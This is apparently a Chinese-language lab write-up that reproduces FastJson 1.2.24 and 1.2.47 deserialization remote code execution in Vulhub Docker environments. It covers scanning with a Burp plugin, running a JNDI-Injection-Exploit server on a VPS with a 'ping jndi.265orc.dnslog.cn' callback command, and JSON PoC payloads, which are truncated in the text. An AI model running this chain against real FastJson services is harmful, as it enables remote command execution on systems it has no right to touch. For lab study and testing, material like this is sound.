本文仅作为技术讨论及分享,严禁用于任何非法用途。
FastJson 1.2.24
实验说明
本次实验使用了Vulhub
的fastjson 1.2.24 反序列化导致任意命令执行漏洞
,漏洞利用使用了JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
,漏洞地址为http://192.168.154.130:8090
。
启动漏洞环境
因为用了docker的漏洞环境,所以请先安装docker
及docker-compose
,此处不再赘述。在靶机运行命令:
1 | git clone https://github.com/vulhub/vulhub.git |
启动后可访问FastJson的服务:
漏洞扫描
这里使用了burpsuite的BurpFastJsonScan插件:https://github.com/pmiaowu/BurpFastJsonScan。
经过扫描可以看到存在漏洞:
漏洞利用
首先要启动一个RMI
或者LDAP
服务,我这里使用的是JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
,相对marshalsec
来说它的操作步骤要少一些。
JNDI-Injection-Exploit
的官方说明如下:
1 | $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] |
为了方便和安全起见,我使用了docker
来启动它。先把JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
下载到/root/tools/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
,在vps上启动命令:
1 | docker run -itd --rm -p 8180:8180 -p 1099:1099 -p 1389:1389 -v /root/tools/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar:/root/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar java java -jar /root/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping jndi.265orc.dnslog.cn" -A 1xx.xx.xx.xx6 |
然后通过docker logs
命令查询容器输出日志,这里的13
是容器的id,在上条命令执行完毕后会输出:
1 | docker logs 13 |
在burp抓包后放入poc
1 | { |
dnslog中可以看到命令执行成功
ldap协议的利用方式也是相同:
FastJson 1.2.47
启动漏洞环境
FastJson 1.2.47
的漏洞环境Vulhub
也有,所以步骤相似:
1 | cd ../1.2.247-rce/ |
漏洞扫描
同样是使用BurpFastJsonScan插件扫描,这次插件却在一开始并没有扫出来,需要手动POST一个json包后才开始了扫描,可能跟插件工作逻辑有关。
漏洞利用
漏洞利用还是使用上一节用到的JNDI-Injection-Exploit
,exp如下:
1 | { |
因为在上一节的测试中发现dnslog.cn
生成的随机域名有效期比较短,容易导致明明命令执行了却看不到dnslog的问题,所以改用了ceye.io
测试,可以看到靶机curl请求了ceye.io
的http服务:
fastjson<=1.2.47
对版本小于1.2.48的版本通杀,autoType为关闭状态也可用。方法同上,直接打了:
1 | { |
其它
其它几个fastjson版本的exp需要autoTypeSupport属性为true才能使用,而fastjson>=1.2.25默认为false,相对碰到的情况应该比较少,不一一尝试。